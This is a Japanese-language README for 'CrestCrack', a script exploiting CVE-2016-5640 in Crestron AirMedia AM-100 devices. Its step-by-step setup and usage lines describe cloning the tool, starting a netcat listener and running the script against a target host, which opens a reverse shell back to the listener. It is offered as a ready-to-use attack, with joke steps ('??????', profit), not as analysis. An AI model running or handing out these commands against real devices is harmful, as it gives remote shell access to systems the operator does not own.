CrestCrack

CrestCrack は、Crestron AirMedia AM-100 (v1.1.1.11 - v1.2.1) の CVE-2016-5640 / CLVA-2016-05-002 を悪用するシンプルなスクリプトです。引数が指定されると、CrestCrack は netcat を利用して、対象マシンと選択した netcat リスナーとの間にリバースシェルを作成します。

セットアップ:

1. CrestCrack のコピーをクローンします git clone https://github.com/vpnguy/CrestCrack
2. netcat リスナーを起動します nc -lvp 1337
3. リスナー情報を指定して、対象マシンに対して CrestCrack を実行します ./crestcrack.py https://targethost 255.255.255.255 1337
4. ??????
5. 利益

###使用法: ./crescrack.py [対象ホスト] [リスナーIP] [リスナーポート]

###例: ./crescrack.py https://targethost 123.123.123.123 3311

追加の脆弱性情報:

Cylance の脆弱性開示

NIST CVE-2016-5640

追加予定:

• エラーハンドリング/境界チェック
• 拡張された引数サポート
• --help 出力